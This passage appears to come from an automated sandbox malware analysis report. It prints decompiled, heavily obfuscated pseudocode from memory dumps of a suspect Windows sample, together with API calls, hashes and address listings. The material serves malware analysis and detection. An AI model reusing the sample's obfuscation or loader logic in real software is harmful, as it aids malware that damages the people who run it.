				_t91 = 0x5b5b695b;
				asm("das");
				_t140 = _t139 - 1;
				_t45 = _t42 - 0x2b5b3a5b + 0xdbb726d6 | 0xb3a72ea4;
				_t136 = 0xdea4a4a7;
				asm("wait");
				_push(_t140);
				asm("fild word [eax-0xfa4a4a6]");
				asm("fcomp dword [ebp-0x4f404fb7]");
				_push(_t134);
				_t131 = _t130 -  *0xFFFFFFFFDEA4A4EF;
				_t148 = _t91 ^ _t131;
				if((_t91 ^ _t131) < 0) {
					_pop(_t114);
					_t134 = _t134 +  *((intOrPtr*)(_t45 - 0x4fd534a2));
					asm("scasd");
					asm("salc");
					_t136 = 0xdea4a4a7 - _t131;
					asm("int3");
					 *_t114 =  *_t114 ^ 0xffffffc6;
					asm("rcl byte [edi+0x7f], 1");
					asm("fcomp dword [edi-0x33a14fa1]");
					_t119 = 0xffffffb0;
					asm("movsd");
					asm("clc");
					_t60 = 0xffffffffb19799b2 -  *((intOrPtr*)(0xffffffffb19799b2));
					 *((intOrPtr*)(_t60 - 0x15)) =  *((intOrPtr*)(_t60 - 0x15)) + _t119;
					_t61 = _t60 + 0xf4eb4097;
					asm("movsd");
					_t122 = 0x9a;
					_t45 = E00401277(_t61, _t119, _t131, _t134, _t136, _t148);
					asm("salc");
					asm("fcom dword [esi+0x6b]");
					_t140 = 0x10eba4a4 |  *(_t134 + 0xffffffff8543585e);
				}
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t141 = _t140 |  *(_t134 + _t136 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t141);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t163 = (_t161 - _t127[0x1a]) *  *_t127;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t128);
					asm("salc");
					_t163 = _t163 +  *_t134;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t45;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t45 = 0x49;
					_t129 = _t128 ^  *0xd05b5b70;
				} while ((_t128 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t133);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t134);
				_t154 = _t122 + 1;
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t48 =  *_t141;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t48, 0x688e1679, _t133, _t134, 0x13eba4a4, _t154);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t51 = E004025E8(_t133, _t134, _t154); // executed
				_t155 = _t51;
				if(_t51 != 0) {
					if(E00401F34(_t133, _t155,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L23:
						_t160 = gs;
						if(gs != 0) {
							_t54 = 0x688e6ab7;
							_t125 = 0x2ef8;
						} else {
							_t54 = 0x688e471e;
							_t125 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t125);
						_push(_t54);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t129, _t160);
						_t56 = 0x2c1c;
						_t51 = E00401277(_t56, 0x688e1679, _t133, _t134, 0x13eba4a4, _t160);
					} else {
						_t51 = E00402255(_t163,  *((intOrPtr*)(0x13eba4a0)));
						_t157 = _t51;
						if(_t51 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t51 = L00402321(0x688e1679, _t133, _t134, _t157, _t163);
							_t158 = _t51;
							if(_t51 != 0) {
								_t51 = E00401FF1(_t158, _t163,  *((intOrPtr*)(0x13eba4a0)));
								if(_t51 != 0) {
									goto L23;
								}
							}
						}
					}
				}
				return _t51;
			}

0x00402a6c
0x00402a6c
0x00402a6c
0x00402a6c
0x00402a6c
0x00402a6c
0x00402a73
0x00402a7f
0x00402a88
0x00402a89
0x00402a8c
0x00402a8d
0x00402a93
0x00402a9b
0x00402a9d
0x00402aa0
0x00402aa1
0x00402ac5
0x00402ac7
0x00402ad7
0x00402ad9
0x00402ada
0x00402adb
0x00402ae0
0x00402ae5
0x00402ae6
0x00402ae7
0x00402aed
0x00402af3
0x00402af4
0x00402af7
0x00402af9
0x00402afb
0x00402afc
0x00402b02
0x00402b03
0x00402b06
0x00402b08
0x00402b09
0x00402b0f
0x00402b12
0x00402b23
0x00402b24
0x00402b25
0x00402b2b
0x00402b2d
0x00402b30
0x00402b35
0x00402b3d
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bde
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 00000016.00000002.427468653.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_2819.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5eb334b091ada3894d7bc2550cdcc7fd4771e28d89526815cda72f1da41a8dec
Instruction ID: ac3f9a48b8241fa4787baba6bb88e996d90e4b1d5655853c31ab7ffc92292063
Opcode Fuzzy Hash: 5eb334b091ada3894d7bc2550cdcc7fd4771e28d89526815cda72f1da41a8dec
Instruction Fuzzy Hash: 6251543200A101DFEB00AF64AEDA5AAFB64FF15378B3401A7DC416E1E2D37B5642DA56

Uniqueness

Uniqueness Score: -1.00%

Function 00402B38, Relevance: .1, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 30%

			E00402B38(signed int* __edx, void* __edi, intOrPtr* __esi, void* __fp0) {
				void* _t25;
				intOrPtr _t26;
				void* _t29;
				void* _t32;
				void* _t35;
				void* _t37;
				void* _t65;
				signed int* _t67;
				signed int _t68;
				void* _t73;
				intOrPtr* _t74;
				void* _t75;
				signed int _t78;
				signed int _t79;
				signed int _t80;
				void* _t84;
				signed long long _t99;

				_t74 = __esi;
				_t67 = __edx;
				_t71 = __edi + 1;
				_t84 = __edi + 1;
				asm("das");
				asm("a16 scasb");
				_t26 = E00401277(_t25, 0x9ab9, _t71, __esi, _t75, _t84);
				asm("salc");
				asm("fcom dword [esi+0x6b]");
				_t79 = _t78 |  *(_t74 + _t75 - 0x59614c49);
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t80 = _t79 |  *(_t74 + _t75 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t80);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t99 = (__fp0 - _t67[0x1a]) *  *_t67;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t68);
					asm("salc");
					_t99 = _t99 +  *_t74;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t26;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t26 = 0x49;
					_t69 = _t68 ^  *0xd05b5b70;
				} while ((_t68 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t73);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t74);
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t29 =  *_t80;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t29, 0x688e1679, _t73, _t74, 0x13eba4a4, 0x9b);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t32 = E004025E8(_t73, _t74, 0x9b); // executed
				_t91 = _t32;
				if(_t32 != 0) {
					if(E00401F34(_t73, _t91,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L17:
						_t96 = gs;
						if(gs != 0) {
							_t35 = 0x688e6ab7;
							_t65 = 0x2ef8;
						} else {
							_t35 = 0x688e471e;
							_t65 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t65);
						_push(_t35);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t69, _t96);
						_t37 = 0x2c1c;
						_t32 = E00401277(_t37, 0x688e1679, _t73, _t74, 0x13eba4a4, _t96);
					} else {
						_t32 = E00402255(_t99,  *((intOrPtr*)(0x13eba4a0)));
						_t93 = _t32;
						if(_t32 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t32 = L00402321(0x688e1679, _t73, _t74, _t93, _t99);
							_t94 = _t32;
							if(_t32 != 0) {
								_t32 = E00401FF1(_t94, _t99,  *((intOrPtr*)(0x13eba4a0)));
								if(_t32 != 0) {
									goto L17;
								}
							}
						}
					}
				}
				return _t32;
			}

0x00402b38
0x00402b38
0x00402b38
0x00402b38
0x00402b39
0x00402b3a
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 00000016.00000002.427468653.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_2819.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f51a1350f02f31ca673438723fbeaec66e0bac50b46ce53ae83f4c302164230
Instruction ID: 3e85d14ce6c36aa09c03589aa9c8c3521ff663fa5e1e86b555b0dc280717ecfe
Opcode Fuzzy Hash: 2f51a1350f02f31ca673438723fbeaec66e0bac50b46ce53ae83f4c302164230
Instruction Fuzzy Hash: 17412A31109101EFFB01AB51DF8A5AEB775FF19368B2000BBDC417A1D2D77E5A05DA16

Uniqueness

Uniqueness Score: -1.00%

Function 00402BFB, Relevance: .1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 64%

			E00402BFB(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				intOrPtr _t12;
				void* _t15;
				void* _t18;
				void* _t20;
				void* _t21;
				void* _t23;
				void* _t25;
				void* _t28;
				intOrPtr* _t30;

				_t27 = __esi;
				_t26 = __edi;
				_t21 = __ebx;
				asm("adc al, 0x62");
				_push(0x2c1c);
				_t12 =  *_t30;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t12, __ebx, __edi, __esi, _t28, __eflags);
				_push( *((intOrPtr*)(_t28 - 4)));
				E004019D4();
				_t2 = _t21 + 0x3065; // 0x688e46de
				_push( *((intOrPtr*)(_t28 - 4)));
				_t15 = E004025E8(_t26, _t27, __eflags); // executed
				_t35 = _t15;
				if(_t15 != 0) {
					if(E00401F34(_t26, _t35,  *((intOrPtr*)(_t28 - 4))) != 0) {
						L11:
						_t40 = gs;
						if(gs != 0) {
							_t9 = _t21 + 0x543e; // 0x688e6ab7
							_t18 = _t9;
							_t23 = 0x2ef8;
						} else {
							_t8 = _t21 + 0x30a5; // 0x688e471e
							_t18 = _t8;
							_t23 = 0x2399;
						}
						_push( *((intOrPtr*)(_t21 + 0x8336)));
						_push(_t23);
						_push(_t18);
						_push( *((intOrPtr*)(_t28 - 4)));
						E0040193B(_t25, _t40);
						_t20 = 0x2c1c;
						_t15 = E00401277(_t20, _t21, _t26, _t27, _t28, _t40);
					} else {
						_t15 = E00402255(__fp0,  *((intOrPtr*)(_t28 - 4)));
						_t37 = _t15;
						if(_t15 != 0) {
							_push( *((intOrPtr*)(_t28 - 4)));
							_t15 = L00402321(__ebx, _t26, _t27, _t37, __fp0);
							_t38 = _t15;
							if(_t15 != 0) {
								_t15 = E00401FF1(_t38, __fp0,  *((intOrPtr*)(_t28 - 4)));
								if(_t15 != 0) {
									goto L11;
								}
							}
						}
					}
				}
				return _t15;
			}

0x00402bfb
0x00402bfb
0x00402bfb
0x00402bfb
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c24
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 00000016.00000002.427468653.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_2819.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a8bd4eca60c59e258f16d0e70a1738de93e05cd34cc8aa36a9a378a6468ebc1
Instruction ID: 52cd7e5ac6ed9cc019fbfcf69bdf72a742899d53516448c63c37d0d49b3bd750
Opcode Fuzzy Hash: 4a8bd4eca60c59e258f16d0e70a1738de93e05cd34cc8aa36a9a378a6468ebc1
Instruction Fuzzy Hash: 7111213050C105EAFF01A6518F5E97E72699F01348F24007BAD42B52E2D7BD9F16B62F

Uniqueness

Uniqueness Score: -1.00%

Function 00402C01, Relevance: .1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E00402C01(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t12;
				void* _t15;
				void* _t18;
				void* _t20;
				void* _t21;
				void* _t23;
				signed int _t25;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t21 = __ebx;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t12, __ebx, __edi, __esi, _t28, __eflags);
				_push( *((intOrPtr*)(_t28 - 4)));
				E004019D4();
				_t2 = _t21 + 0x3065; // 0x688e46de
				_push( *((intOrPtr*)(_t28 - 4)));
				_t15 = E004025E8(_t26, _t27, __eflags); // executed
				_t34 = _t15;
				if(_t15 != 0) {
					if(E00401F34(_t26, _t34,  *((intOrPtr*)(_t28 - 4))) != 0) {
						L8:
						_t39 = gs;
						if(gs != 0) {
							_t9 = _t21 + 0x543e; // 0x688e6ab7
							_t18 = _t9;
							_t23 = 0x2ef8;
						} else {
							_t8 = _t21 + 0x30a5; // 0x688e471e
							_t18 = _t8;
							_t23 = 0x2399;
						}
						E0040193B(_t25, _t39,  *((intOrPtr*)(_t28 - 4)), _t18, _t23,  *((intOrPtr*)(_t21 + 0x8336)));
						_t20 = 0x2c1c;
						_t15 = E00401277(_t20, _t21, _t26, _t27, _t28, _t39);
					} else {
						_t15 = E00402255(__fp0,  *((intOrPtr*)(_t28 - 4)));
						_t36 = _t15;
						if(_t15 != 0) {
							_push( *((intOrPtr*)(_t28 - 4)));
							_t15 = L00402321(__ebx, _t26, _t27, _t36, __fp0);
							_t37 = _t15;
							if(_t15 != 0) {
								_t15 = E00401FF1(_t37, __fp0,  *((intOrPtr*)(_t28 - 4)));
								if(_t15 != 0) {
									goto L8;
								}
							}
						}
					}
				}
				return _t15;
			}

0x00402c01
0x00402c01
0x00402c01
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c24
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 00000016.00000002.427468653.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_2819.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aba60e48e92cb2b09b873d5c8ea28a2240f160238eccea7537a2bd1afc53be07
Instruction ID: 94dd4e34baa45bb6a7d52d13517e1efb42c98130ce2376b8e4646defd1028816
Opcode Fuzzy Hash: aba60e48e92cb2b09b873d5c8ea28a2240f160238eccea7537a2bd1afc53be07
Instruction Fuzzy Hash: D2011220118105F9FF0167528F1A97E75299F01348F24007BAC41B52E2DBBD8F15A62F

Uniqueness

Uniqueness Score: -1.00%

Function 00402C12, Relevance: .1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E00402C12(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t12;
				void* _t15;
				void* _t18;
				void* _t20;
				void* _t21;
				void* _t23;
				signed int _t25;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t21 = __ebx;
				asm("a16 push es");
				_push(0xab);
				E00401277(_t12, __ebx, __edi, __esi, _t28, __eflags);
				_push( *((intOrPtr*)(_t28 - 4)));
				E004019D4();
				_t2 = _t21 + 0x3065; // 0x688e46de
				_push( *((intOrPtr*)(_t28 - 4)));
				_t15 = E004025E8(_t26, _t27, __eflags); // executed
				_t34 = _t15;
				if(_t15 != 0) {
					if(E00401F34(_t26, _t34,  *((intOrPtr*)(_t28 - 4))) != 0) {
						L8:
						_t39 = gs;
						if(gs != 0) {
							_t9 = _t21 + 0x543e; // 0x688e6ab7
							_t18 = _t9;
							_t23 = 0x2ef8;
						} else {
							_t8 = _t21 + 0x30a5; // 0x688e471e
							_t18 = _t8;
							_t23 = 0x2399;
						}
						E0040193B(_t25, _t39,  *((intOrPtr*)(_t28 - 4)), _t18, _t23,  *((intOrPtr*)(_t21 + 0x8336)));
						_t20 = 0x2c1c;
						_t15 = E00401277(_t20, _t21, _t26, _t27, _t28, _t39);
					} else {
						_t15 = E00402255(__fp0,  *((intOrPtr*)(_t28 - 4)));
						_t36 = _t15;
						if(_t15 != 0) {
							_push( *((intOrPtr*)(_t28 - 4)));
							_t15 = L00402321(__ebx, _t26, _t27, _t36, __fp0);
							_t37 = _t15;
							if(_t15 != 0) {
								_t15 = E00401FF1(_t37, __fp0,  *((intOrPtr*)(_t28 - 4)));
								if(_t15 != 0) {
									goto L8;
								}
							}
						}
					}
				}
				return _t15;
			}

0x00402c12
0x00402c12
0x00402c12
0x00402c12
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c24
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 00000016.00000002.427468653.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_2819.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 591edc4c612f48173f805103314d01a2d3c18d9f074296c9ecf59b10e61bd19b
Instruction ID: 69eb8ccb3173368d7466cfbebad6b250e745b2528687b1428edbefbc5d99c229
Opcode Fuzzy Hash: 591edc4c612f48173f805103314d01a2d3c18d9f074296c9ecf59b10e61bd19b
Instruction Fuzzy Hash: 5001DE20518105FAFF01A6528F5A97E75699F01348F24007BAD42B52E2DBBD8F16AA2F

Uniqueness

Uniqueness Score: -1.00%

Function 00402C16, Relevance: .0, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 89%

			E00402C16(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t12;
				void* _t15;
				void* _t18;
				void* _t20;
				void* _t21;
				void* _t23;
				signed int _t25;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t21 = __ebx;
				E00401277(_t12, __ebx, __edi, __esi, _t28, __eflags);
				_push( *((intOrPtr*)(_t28 - 4)));
				E004019D4();
				_t2 = _t21 + 0x3065; // 0x688e46de
				_push( *((intOrPtr*)(_t28 - 4)));
				_t15 = E004025E8(_t26, _t27, __eflags); // executed
				_t33 = _t15;
				if(_t15 != 0) {
					if(E00401F34(_t26, _t33,  *((intOrPtr*)(_t28 - 4))) != 0) {
						L6:
						_t38 = gs;
						if(gs != 0) {
							_t9 = _t21 + 0x543e; // 0x688e6ab7
							_t18 = _t9;
							_t23 = 0x2ef8;
						} else {
							_t8 = _t21 + 0x30a5; // 0x688e471e
							_t18 = _t8;
							_t23 = 0x2399;
						}
						E0040193B(_t25, _t38,  *((intOrPtr*)(_t28 - 4)), _t18, _t23,  *((intOrPtr*)(_t21 + 0x8336)));
						_t20 = 0x2c1c;
						_t15 = E00401277(_t20, _t21, _t26, _t27, _t28, _t38);
					} else {
						_t15 = E00402255(__fp0,  *((intOrPtr*)(_t28 - 4)));
						_t35 = _t15;
						if(_t15 != 0) {
							_push( *((intOrPtr*)(_t28 - 4)));
							_t15 = L00402321(__ebx, _t26, _t27, _t35, __fp0);
							_t36 = _t15;
							if(_t15 != 0) {
								_t15 = E00401FF1(_t36, __fp0,  *((intOrPtr*)(_t28 - 4)));
								if(_t15 != 0) {
									goto L6;
								}
							}
						}
					}
				}
				return _t15;
			}

0x00402c16
0x00402c16
0x00402c16
0x00402c17
0x00402c1c
0x00402c1f
0x00402c24
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 00000016.00000002.427468653.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_2819.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8375172ab2dc3a157800504cc046cabc4f04a32f5874d07e2e57d920b258b3e
Instruction ID: 22f91f3ad527b43ded7c43fe05e3e31a54a2160e6f7bd47ea20a36d237ffec38
Opcode Fuzzy Hash: b8375172ab2dc3a157800504cc046cabc4f04a32f5874d07e2e57d920b258b3e
Instruction Fuzzy Hash: 4401CC20518105F9FF01B7628F1A9BE75699F00348F24007BBC41B52E6DBBD8F15AA2E

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040DF48, Relevance: 6.0, APIs: 4, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__cftof_l.LIBCMT ref: 0040DF6E

Part of subcall function 0040DD93: __fltout2.LIBCMT ref: 0040DDBF

__cftog_l.LIBCMT ref: 0040DF94
__cftoe_l.LIBCMT ref: 0040DFC6

Memory Dump Source

Source File: 00000016.00000002.427484642.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_409000_2819.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 371dcc409b8a9c37bc45af426a8add198d970d59fd773847fc00fd30e5f9ded3
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: 7B11803280014EBBCF125EC4CC41CEE3F22BF19354B198426FA1968171C23AC9B5AB85

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 3D67.exe PID: 5276 Parent PID: 3472 3D67.exeCOMMON

Executed Functions

Function 00401733, Relevance: 52.7, APIs: 23, Strings: 7, Instructions: 179
memorytimethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			E00401733(void* __edx, void* __fp0) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t33;
				intOrPtr _t35;
				void* _t40;
				void* _t41;
				intOrPtr* _t70;
				intOrPtr* _t72;
				WCHAR* _t76;
				void* _t82;
				void* _t83;
				void* _t86;
				void* _t89;
				void* _t90;
				void* _t94;
				intOrPtr* _t96;
				intOrPtr* _t98;
				void* _t113;

				_t113 = __fp0;
				_t83 = __edx;
				E00412DF4(E00412EE3, _t94);
				E00410870(0x10c8);
				_push(_t89);
				_t76 = 0;
				_t100 =  *0x43ed4c - 0x20a;
				if( *0x43ed4c == 0x20a) {
					CompareFileTime(0, 0);
					EnumSystemLocalesW(0, 0);
					__imp__GetConsoleAliasesA(_t94 - 0x4d4, 0, 0);
					FindResourceExA(0, "fofako", "cimojudozuwelam", 0);
					GetVersionExA(_t94 - 0xd4);
					VirtualQuery(0, 0, 0);
					CreateThread(0, 0, 0, 0, 0, 0);
					__imp__SetComputerNameExA(0, 0);
					_push("runexobozez");
					E004027F1(0, _t83, 0x43bc88, _t89, _t100);
					_t82 = 0x43bc88;
					 *((intOrPtr*)(_t94 - 0x14)) = 7;
					 *((intOrPtr*)(_t94 - 0x18)) = 0;
					 *((short*)(_t94 - 0x28)) = 0;
					E00401CD8(_t94 - 0x2c, 6);
					 *(_t94 - 4) = 0;
					E004025EF(0, _t83, 0x43bc88, 0);
					 *_t96 = 0x929;
					_push(0xea);
					E00402560(_t82, _t100);
					E0040279E(0, 0, "0.txt", "rb");
					E00402D91(0, _t83, 0x43bc88, _t94 - 0x2c, _t100);
					_t98 = _t96 + 0x18;
					_t70 = _t98;
					 *_t70 = 0;
					 *((intOrPtr*)(_t70 + 4)) = 0;
					E00402F60(_t83, 0);
					st0 = _t113;
					_t72 = _t98;
					 *_t72 = 0;
					 *((intOrPtr*)(_t72 + 4)) = 0;
					E004028D0(0, 0);
					st0 = _t113;
					 *(_t94 - 4) =  *(_t94 - 4) | 0xffffffff;
					E00401B39(0, 0x43bc88, _t94 - 0x2c, _t94, 1, 0);
				}
				_t90 = 0;
				while(1) {
					__imp__GetConsoleAliasA(_t76, _t76, _t76, _t76);
					if(_t90 > 0x90ce655) {
						break;
					}
					_t90 = _t90 + 1;
					if(_t90 < 0x7048dce2) {
						continue;
					}
					break;
				}
				E00401704();
				 *0x43e83c = GetModuleHandleA(0x43bc88);
				_t33 = LocalAlloc(_t76,  *0x43ed4c); // executed
				 *0x43e838 = _t33;
				E00401718();
				_t35 =  *0x41a604; // 0x3802dd
				_t86 = 0;
				 *0x44013c = _t35;
				if( *0x43ed4c > _t76) {
					do {
